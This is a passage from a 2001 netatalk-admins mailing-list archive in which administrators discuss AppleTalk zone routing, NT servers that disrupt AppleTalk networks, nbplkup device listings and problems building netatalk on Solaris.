Date: Tue, 27 Nov 2001 17:20:33 +0100
Subject: Re: zones in netalk
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Wes Yates <gmac63@carolina.rr.com>, <netatalk-admins@umich.edu>
Message-ID: <B8297BE0.15343%Thomas.Kaiser@phg-online.de>
In-Reply-To: <a05010400b8295474fc1f@[192.168.110.21]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Tue, 27 Nov 2001 10:24:59 -0500, Wes Yates wrote:

>>> Also, one very confusing thing. As I'm reading about AppleTalk (ughhh) and
>>> how it assigns networks and addresses (double ugh),
>> 
>> Hmm... do you know any smarter methods for self-administering networks?
>> I don't ;-)
> 
> I appreciate AppleTalk over TCP/IP (ASIP) more. Not self-administering, but
> that is just me.

Have you ever thought about, how it could be that your AFPoverTCP-ready
server will appear in the chooser and can be easily selected without
remembering its name or ip address? It's that great NBP (Name Binding
Protocol) stuff, Apple provided us with.

So you can 'find' your server via AppleTalk but the connection itself will
be established with AFP over TCP if both Server (Netatalk 1.42b+asun2.1.3
AFAIR) and Client (AppleShare Client 3.7.4) support it.

So you can use AFPoverTCP since 1997 without giving up all the convenience,
AppleTalk gave us. 

BTW: There exists such a thing for TCP/IP, too --> SLP (Service Locating
Protocol). The equivalent to zones will be so called 'scopes'. Some good
information about it can be found here:

    <http://www.opendoor.com/shareway/SLP.html>

> [...] But I _will_ have to use -seed with multiple NICs, yes?

You will need this on every interface if there is not another AppleTalk
router active in the directly attached segment (which seems to be the case
for you on each of your NICs ;-).

> [...] NT machines publishing Atalk are fine.

Hmm, if you try to let a NT machine act as an AppleTalk router and there are
'real' rock-solid AppleTalk router implementations also active (like
Netatalk's or from Helios or Xinet), under some circumstances the NT machine
will spit the event log full of errors and will disappear from the AppleTalk
LAN. Very robust ;-)

> Slow, but they have no problems with Netatalk.

They can cause problems in your entire AppleTalk-LAN, if they are set up to
do AppleTalk-Routing and there is an already active AppleTalk router with a
different configuration. The NT machine will publish its idea of the
AppleTalk topology even if the already active router disagrees. Fascinating
how other AppleTalk Devices will behave afterwards ;-)

> [...] Mostly I was guessing how to configure the network and get AppleTalk
> routing to work. Good to know I wasn't too far off ;)

I learned my first lessons from the Helios EtherShare manual. Appendix A-3
describes all the above in detail...

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Nov 27 12:43:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA22889
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Nov 2001 12:43:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA14066
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Nov 2001 12:43:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA14041
	for netatalk.administrators-members@umich.edu; Tue, 27 Nov 2001 12:43:07 -0500 (EST)
Received: from mail5.carolina.rr.com (fe5.southeast.rr.com [24.93.67.52])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA14014
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 12:43:06 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by mail5.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Tue, 27 Nov 2001 12:43:05 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010401b8297ccd782a@[192.168.110.21]>
In-Reply-To: <B8297BE0.15343%Thomas.Kaiser@phg-online.de>
References: <B8297BE0.15343%Thomas.Kaiser@phg-online.de>
Date: Tue, 27 Nov 2001 12:43:04 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: zones in netalk
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>On Tue, 27 Nov 2001 10:24:59 -0500, Wes Yates wrote:
>

>  > [...] NT machines publishing Atalk are fine.
>
>Hmm, if you try to let a NT machine act as an AppleTalk router and there are
>'real' rock-solid AppleTalk router implementations also active (like
>Netatalk's or from Helios or Xinet), under some circumstances the NT machine
>will spit the event log full of errors and will disappear from the AppleTalk
>LAN. Very robust ;-)

Funny, our NT box does drop printers from our network occasionally. 
Hmmmmm. Any solution (besides ditching the NT box?)

Speaking of Helios, we have that running on an SGI IRIX as out print 
spooler (not my decision). Would/could that be running as a router? 
In your reference <http://www.transit.hanse.de/netatalk/router.html>, 
I tried to get the zone information. of course there wasn't any and I 
didn't know at the time if I had a router. My assumption, correctly I 
hope is that when I started all the Appletalk devices, they assumed a 
network address from the network range of that segment.

Speaking of servers, here's our interesting assortment of Appletalk servers:
2 Linux Netatalk servers
1 SGI IRIX with Helios ES - Print spooler and file serving capability.
1 NT4 - its a RIP (raster image processor) and not serving files. PAP only
1 Mac with AppleShare IP v6.x as a , ummmm, fileserver.
10+ Macs sharing various volumes. 8.x - OSX
1 Sun Solaris with some sort of AppleTalk (CanOPI sound right?)

All AT devices at this moment are on a single segment (eth0) and are 
getting addresses from 1-20 ash expected. except for two little epson 
printers... but thats another story.

>  > Slow, but they have no problems with Netatalk.
>
>They can cause problems in your entire AppleTalk-LAN, if they are set up to
>do AppleTalk-Routing and there is an already active AppleTalk router with a
>different configuration. The NT machine will publish its idea of the
>AppleTalk topology even if the already active router disagrees. Fascinating
>how other AppleTalk Devices will behave afterwards ;-)

Gotta love MS eh? Geeeez

>  > [...] Mostly I was guessing how to configure the network and get AppleTalk
>>  routing to work. Good to know I wasn't too far off ;)
>
>I learned my first lessons from the Helios EtherShare manual. Appendix A-3
>describes all the above in detail...

PDF format available? We have Helios.

>Regards,
>
>Thomas

-Wes Yates
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net



We have enough youth... how 'bout a fountain of SMART?!?!

--tag on a slashdot post.

From netatalk.administrators-errors@umich.edu  Tue Nov 27 16:12:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA01949
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Nov 2001 16:12:37 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA01926
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Nov 2001 16:12:37 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA01915
	for netatalk.administrators-members@umich.edu; Tue, 27 Nov 2001 16:12:36 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA01864
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 16:12:34 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id WAA32696;
	Tue, 27 Nov 2001 22:34:34 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 27 Nov 2001 22:12:18 +0100
Subject: Re: zones in netalk
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Wes Yates <gmac63@carolina.rr.com>, <netatalk-admins@umich.edu>
Message-ID: <B829C040.153AC%Thomas.Kaiser@phg-online.de>
In-Reply-To: <a05010401b8297ccd782a@[192.168.110.21]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Tue, 27 Nov 2001 12:43:04 -0500, Wes Yates wrote:

> Funny, our NT box does drop printers from our network occasionally.
> Hmmmmm. Any solution (besides ditching the NT box?)

Sounds like the NT box captures the printers? You can look for it with
nbplkup too: If a NT machine will capture a printer it let the printer
publish itself with an 'illegal' AppleTalk device type "[NT's NetBIOS name]
Laserwriter" (instead of Laserwriter).

So if a PC called 'WINDOZE' will capture a printer, the printer will appear
with type 'WINDOZE Laserwriter' in your AppleTalk LAN and can't be
recognized by the Laserwriter chooser extension.

To avoid this, check the NT's setup or hide the printers with EtherShare and
create spoolers for each of them (you could do this manually too. But then
you have to patch all your Laserwriter drivers to recognize the different
device type)

> Speaking of Helios, we have that running on an SGI IRIX as out print
> spooler (not my decision). Would/could that be running as a router?

EtherShare can act as a router, of course. If the SGI has only one
interface, it won't in any case. Helios' implementation of AppleTalk routing
is polite as Netatalk's is: If another router on the net disagrees with the
routing setup, it won't activate AppleTalk Routing on the specific NIC
(trying to avoid AppleTalk confusion)

> In your reference <http://www.transit.hanse.de/netatalk/router.html>,
> I tried to get the zone information. of course there wasn't any and I
> didn't know at the time if I had a router. My assumption, correctly I
> hope is that when I started all the Appletalk devices, they assumed a
> network address from the network range of that segment.

This should be true. I took a look into another company (they have a
'firewall' now, they told me... hmm ;-):

      EPSON_7000_sammelform_neu:LaserWriter                        1.78:129
O.R.I.S. for EPSON Stylus Pro 70:LaserWriter                       1.78:130
                       ORIS-CT1:DceDspRpc DynEpt 95.1              1.78:132
                       ORIS-CT1:AFPServer                          1.78:133
                       ORIS-CT1:DceDspRpc Endpoint Mapper          1.78:135
                  El90x1@TAIPAN:Microsoft( Windows NT* Prt 4.00    1.117:2
                       Norm_LZW:LaserWriter                     65469.65:185
                     Font_Kanal:LaserWriter                     65469.65:186
                   Norm_LZW_SEP:LaserWriter                     65469.65:187
                          PILOT:AFPServer                       65469.65:135

They haven't routers, so all devices should register themselves in the
AppleTalk startup range 65280 and above. Two machines won't... NT, of course

> [...]
>> I learned my first lessons from the Helios EtherShare manual. Appendix A-3
>> describes all the above in detail...
> 
> PDF format available?

Of course. On every installation CD is a full set of all product's manuals.

> We have Helios.

Tehn you will have the manuals, too... ;-)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Nov 27 16:53:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA04100
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Nov 2001 16:53:01 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA10051
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Nov 2001 16:53:01 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA10033
	for netatalk.administrators-members@umich.edu; Tue, 27 Nov 2001 16:53:01 -0500 (EST)
Received: from cossette.dante.ca (h24-71-161-240.ss.shawcable.net [24.71.161.240])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA09991
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 16:52:59 -0500 (EST)
Received: from printwest.com (localhost [127.0.0.1])
	by cossette.dante.ca (Postfix) with ESMTP id A61A47A47
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 15:48:40 -0600 (CST)
To: netatalk-admins <netatalk-admins@umich.edu>
Subject: Solaris build
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <16430.1006897720.1@printwest.com>
Date: Tue, 27 Nov 2001 15:48:40 -0600
From: Lance Levsen <l.levsen@printwest.com>
Message-Id: <20011127214840.A61A47A47@cossette.dante.ca>

Hey folks. For those of you running afp on Solaris, and who are
having problems w/ incorrect file sizes, bogus disk space and
the like please send me your info.
 
I'm mostly concerned w/ fs type, device, mount point, mount
options, kilobytes used and available.

This is all available in /etc/vfstab and df -k. (Assuming it's
an automounted mount).

I'm also curious if there is anyone using the DDP kernel module or if
everyone is only using afpovertcp.


Cheers,
Lance Levsen, 477-3166
Unix Systems Administrator,
PWGroup - Saskatoon



From netatalk.administrators-errors@umich.edu  Tue Nov 27 18:36:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA08654
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Nov 2001 18:36:11 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA07787
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Nov 2001 18:36:11 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA07767
	for netatalk.administrators-members@umich.edu; Tue, 27 Nov 2001 18:36:10 -0500 (EST)
Received: from mailgate.ci.tacoma.wa.us (mailgate.ci.tacoma.wa.us [131.191.254.40])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA07722
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 18:36:08 -0500 (EST)
From: CSBURRIS@ci.tacoma.wa.us
Received: from m3.ci.tacoma.wa.us (m3.ci.tacoma.wa.us [131.191.130.35])
	by mailgate.ci.tacoma.wa.us (8.8.8/8.8.8) with ESMTP id PAA17573;
	Tue, 27 Nov 2001 15:36:07 -0800 (PST)
Received: by m3.ci.tacoma.wa.us with Internet Mail Service (5.5.2653.19)
	id <X3KJALBT>; Tue, 27 Nov 2001 15:35:28 -0800
Message-ID: <49A5DC0AF7A9D3119C7D00A0C9E30645032509BA@m4.ci.tacoma.wa.us>
To: netatalk-admins@umich.edu, l.levsen@printwest.com
Subject: RE: Solaris build
Date: Tue, 27 Nov 2001 15:35:29 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

I'm looking at the same problem - did you build with gcc or Sun C?  It
appears that someone got rid of all the <#include strings.h> in the Solaris
code, which works okay with Sun C, but appears to be a BIG problem with GCC,
and one of the reasons we are having so much trouble with the build on
Solaris 8, 64-bit problems aside. Every call to bcopy spews out a bunch of
error messages!


> ----------
> From: 	Lance Levsen
> Sent: 	Tuesday, November 27, 2001 1:48 PM
> To: 	netatalk-admins
> Subject: 	Solaris build
> 
> Hey folks. For those of you running afp on Solaris, and who are
> having problems w/ incorrect file sizes, bogus disk space and
> the like please send me your info.
>  
> I'm mostly concerned w/ fs type, device, mount point, mount
> options, kilobytes used and available.
> 
> This is all available in /etc/vfstab and df -k. (Assuming it's
> an automounted mount).
> 
> I'm also curious if there is anyone using the DDP kernel module or if
> everyone is only using afpovertcp.
> 
> 
> Cheers,
> Lance Levsen, 477-3166
> Unix Systems Administrator,
> PWGroup - Saskatoon
> 
> 
> 

From netatalk.administrators-errors@umich.edu  Tue Nov 27 19:55:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA11719
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Nov 2001 19:55:06 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA08875
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Nov 2001 19:55:06 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA08854
	for netatalk.administrators-members@umich.edu; Tue, 27 Nov 2001 19:55:05 -0500 (EST)
Received: from cossette.dante.ca (h24-71-161-240.ss.shawcable.net [24.71.161.240])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA08771
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 19:55:02 -0500 (EST)
Received: from printwest.com (localhost [127.0.0.1])
	by cossette.dante.ca (Postfix) with ESMTP id 4E5547A47
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 18:50:44 -0600 (CST)
To: netatalk-admins@umich.edu
Subject: Re: Solaris build 
In-Reply-To: Message from CSBURRIS@ci.tacoma.wa.us 
   of "Tue, 27 Nov 2001 15:35:29 PST." <49A5DC0AF7A9D3119C7D00A0C9E30645032509BA@m4.ci.tacoma.wa.us> 
References: <49A5DC0AF7A9D3119C7D00A0C9E30645032509BA@m4.ci.tacoma.wa.us> 
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <17320.1006908644.1@printwest.com>
Date: Tue, 27 Nov 2001 18:50:44 -0600
From: Lance Levsen <l.levsen@printwest.com>
Message-Id: <20011128005044.4E5547A47@cossette.dante.ca>

> I'm looking at the same problem - did you build with gcc or Sun C?  It
> appears that someone got rid of all the <#include strings.h> in the Solaris
> code, which works okay with Sun C, but appears to be a BIG problem with GCC,
> and one of the reasons we are having so much trouble with the build on
> Solaris 8, 64-bit problems aside. Every call to bcopy spews out a bunch of
> error messages!

I'm using GNU binutils, gcc 3.0.2, Solaris 7, 32-bit. I'm getting
clean compiles and installs. The kernel module kills the kernel if I
modload it (* don't use kinstall! *). 

I figure the reason I can't login is the PAM problem, checking that
out now.

As far as the kernel module goes, I have to learn more before I can
really tackle that one.

Cheers,
Lance Levsen, 477-3166
Unix Systems Administrator,
PWGroup - Saskatoon

From netatalk.administrators-errors@umich.edu  Tue Nov 27 20:59:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA14157
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Nov 2001 20:59:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA20191
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Nov 2001 20:59:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA20174
	for netatalk.administrators-members@umich.edu; Tue, 27 Nov 2001 20:59:19 -0500 (EST)
Received: from Mail6.Carolina.rr.com (fe6.southeast.rr.com [24.93.67.53])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA20139
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 20:59:18 -0500 (EST)
Received: from link6 ([24.93.92.117]) by Mail6.Carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Tue, 27 Nov 2001 20:59:08 -0500
Content-Type: text/plain;
  charset="iso-8859-1"
From: gmac63 <gmac63@carolina.rr.com>
Reply-To: gmac63@carolina.rr.com
To: netatalk-admins@umich.edu
Subject: Re: zones in netalk. Good info!
Date: Tue, 27 Nov 2001 20:59:57 -0500
X-Mailer: KMail [version 1.2]
References: <B829C040.153AC%Thomas.Kaiser@phg-online.de>
In-Reply-To: <B829C040.153AC%Thomas.Kaiser@phg-online.de>
MIME-Version: 1.0
Message-Id: <01112720595700.00895@link6>
Content-Transfer-Encoding: 8bit

On Tuesday 27 November 2001 04:12 pm, you wrote:
> Tue, 27 Nov 2001 12:43:04 -0500, Wes Yates wrote:
> > Funny, our NT box does drop printers from our network occasionally.
> > Hmmmmm. Any solution (besides ditching the NT box?)
>
> Sounds like the NT box captures the printers? You can look for it with
> nbplkup too: If a NT machine will capture a printer it let the printer
> publish itself with an 'illegal' AppleTalk device type "[NT's NetBIOS name]
> Laserwriter" (instead of Laserwriter).

No, it doesn't capture the printers, though I could have set them that way. 
We wanted them to be available even if the spooler was down.

nbplkup does see the printers as well as spools.

>
> So if a PC called 'WINDOZE' will capture a printer, the printer will appear
> with type 'WINDOZE Laserwriter' in your AppleTalk LAN and can't be
> recognized by the Laserwriter chooser extension.
>
> To avoid this, check the NT's setup or hide the printers with EtherShare
> and create spoolers for each of them (you could do this manually too. But
> then you have to patch all your Laserwriter drivers to recognize the
> different device type)
>
> > Speaking of Helios, we have that running on an SGI IRIX as out print
> > spooler (not my decision). Would/could that be running as a router?
>
> EtherShare can act as a router, of course. If the SGI has only one
> interface, it won't in any case. Helios' implementation of AppleTalk
> routing is polite as Netatalk's is: If another router on the net disagrees
> with the routing setup, it won't activate AppleTalk Routing on the specific
> NIC (trying to avoid AppleTalk confusion)
>
>
Good. the SGI has only one interface.

 > In your reference <http://www.transit.hanse.de/netatalk/router.html>,
> > I tried to get the zone information. of course there wasn't any and I
> > didn't know at the time if I had a router. My assumption, correctly I
> > hope is that when I started all the Appletalk devices, they assumed a
> > network address from the network range of that segment.
>
> This should be true. I took a look into another company (they have a
> 'firewall' now, they told me... hmm ;-):
>
>       EPSON_7000_sammelform_neu:LaserWriter                        1.78:129
> O.R.I.S. for EPSON Stylus Pro 70:LaserWriter                       1.78:130
>                        ORIS-CT1:DceDspRpc DynEpt 95.1              1.78:132
>                        ORIS-CT1:AFPServer                          1.78:133
>                        ORIS-CT1:DceDspRpc Endpoint Mapper          1.78:135
>                   El90x1@TAIPAN:Microsoft( Windows NT* Prt 4.00    1.117:2
>                        Norm_LZW:LaserWriter                    
> 65469.65:185 Font_Kanal:LaserWriter                     65469.65:186
> Norm_LZW_SEP:LaserWriter                     65469.65:187 PILOT:AFPServer  
>                     65469.65:135
>
> They haven't routers, so all devices should register themselves in the
> AppleTalk startup range 65280 and above. Two machines won't... NT, of
> course
>
Same here. My NT publishes the Appletalk printers like this:

BK-Art_dept:LaserWriter                        	9.134:129
BK-SP9 Cromalin Matte 720:LaserWriter 	9.134:130
COLORSTATION:AFPServer               	9.134:131
RTL81391@COLORSTATION:MicrosoftØ Windows NTŖ Prt 4.00    17.206:2
4000RND-TALL:LaserWriter                	13.36:232
2000ELIP-TALL:LaserWriter               	13.36:233
2KELIP-win:LaserWriter                	13.36:129
4000ELIP-TALL:LaserWriter             	13.36:234
DPWS038:AFPServer                       	13.36:130
[...]
4000RNDNEW Spool:LaserWriter                  	65280.162:216         
2000Elip-25-65CAMSpool:LaserWriter          	65280.162:215       
2000Elip25-65lpi Spool:LaserWriter                 	65280.162:220       
4000Elip25-65lpi Spool:LaserWriter               	65280.162:222       
4000Rnd25-65lpi Spool:LaserWriter                	65280.162:224        
2000Rnd25-65lpi Spool:LaserWriter                	65280.162:226         
BW_CSR_area Spool:LaserWriter                	65280.162:228           
2000ELIP-TALL Spool:LaserWriter                      	65280.162:230          
4000RND-TALL Spool:LaserWriter                   	65280.162:238          
4000ELIP-TALL Spool:LaserWriter                	65280.162:235

the COLORSTATION:AFPServer and the DPWS038:AFPServer are both NT servers and 
the Spool:LaserWriters are all coming from the SGI (Helios). 

Once I get this routing worked out (I'm going to use the -seed for eth0-2) 
The above should be on segent 1/eth0 and have a network from 1-20 :-)

> > [...]
> >
> >> I learned my first lessons from the Helios EtherShare manual. Appendix
> >> A-3 describes all the above in detail...
> >
> > PDF format available?
>
> Of course. On every installation CD is a full set of all product's manuals.
>

Thanks! and thank you for sending that to me!

> > We have Helios.
>
> Tehn you will have the manuals, too... ;-)
>

:-)

> Regards,
>
> Thomas

From netatalk.administrators-errors@umich.edu  Tue Nov 27 21:23:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA15150
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Nov 2001 21:23:16 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA24661
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Nov 2001 21:23:16 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA24650
	for netatalk.administrators-members@umich.edu; Tue, 27 Nov 2001 21:23:16 -0500 (EST)
Received: from cossette.dante.ca (h24-71-161-240.ss.shawcable.net [24.71.161.240])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA24633
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 21:23:14 -0500 (EST)
Received: from printwest.com (localhost [127.0.0.1])
	by cossette.dante.ca (Postfix) with ESMTP
	id DEE347A47; Tue, 27 Nov 2001 20:18:56 -0600 (CST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
To: netatalk-admins <netatalk-admins@umich.edu>,
        netatalk-devel@lists.sourceforge.net
Subject: Anyone recognize this?
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 27 Nov 2001 20:18:56 -0600
From: Lance Levsen <l.levsen@printwest.com>
Message-Id: <20011128021856.DEE347A47@cossette.dante.ca>


Solaris 7 32-bit, gcc:

On running /usr/local/sbin/afpd:

sparkie afpd[16232]: main: atp_open: Protocol not supported
sparkie afpf[16232]: uam_load(uams_dhx.so): failed to load: 
ld.so.1: /usr/local/sbin/afpd: fatal: relocation error : file 
/usr/local/etc/netatalk/uams/uams_dhx.so: symbol uams_afpserver_o
ption: referenced symbol not found

This happens if I use uams_clrtxt, or if I change the symlink to 
uams_dhx_passwd.so


Cheers,
-- 
Lance Levsen,
Systems Administrator,
PWGroup - Saskatoon



From netatalk.administrators-errors@umich.edu  Tue Nov 27 22:37:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA18169
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Nov 2001 22:37:51 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA04475
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Nov 2001 22:37:51 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA04454
	for netatalk.administrators-members@umich.edu; Tue, 27 Nov 2001 22:37:50 -0500 (EST)
Received: from mta07-svc.ntlworld.com (mta07-svc.ntlworld.com [62.253.162.47])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA04204
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 22:37:44 -0500 (EST)
Received: from sibaz.com ([213.104.156.26]) by mta07-svc.ntlworld.com
          (InterMail vM.4.01.03.13 201-229-121-113) with ESMTP
          id <20011128033743.VASZ692.mta07-svc.ntlworld.com@sibaz.com>;
          Wed, 28 Nov 2001 03:37:43 +0000
Message-ID: <3C045C6D.AA1009B0@sibaz.com>
Date: Wed, 28 Nov 2001 03:39:25 +0000
From: Simon Bazley <sibaz@sibaz.com>
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en-GB,en,en-US
MIME-Version: 1.0
To: Lance Levsen <l.levsen@printwest.com>
CC: netatalk-admins <netatalk-admins@umich.edu>,
        netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Anyone recognize this?
References: <20011128021856.DEE347A47@cossette.dante.ca>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Its similar to the pam problems I was having on RedHat 7.0 (assuming you're accessing it all via pam).

If you have any pam problems check if you're using /etc/pam.conf or /etc/pam.d/  If the later, then the uams file called netatalk must exist in the directory, if the former then the contents of the file netatalk should be in the pam.conf file but each line
should have the word 'netatalk ' at the begging of it.

Alternatively, I notices you said you had a symlink to uams_dhx_passwd: I believe someons said aeons ago that uams contains symbols that match the filename, so symlinks to it (or renaming it) will break it.

I had a look for the symbol uams_afpserver_option and I found uam_afpserver_option.  I guess its a typo somewhere.   I've got a script for you to try finding it if you like; http://sibaz.ncuk.net/uams_afpserver_option.sh

Not sure about the protocol bit.

Simon


From netatalk.administrators-errors@umich.edu  Wed Nov 28 01:59:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA26040
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Nov 2001 01:59:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id BAA02915
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Nov 2001 01:59:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id BAA02894
	for netatalk.administrators-members@umich.edu; Wed, 28 Nov 2001 01:59:33 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id BAA02838
	for <netatalk-admins@umich.edu>; Wed, 28 Nov 2001 01:59:31 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
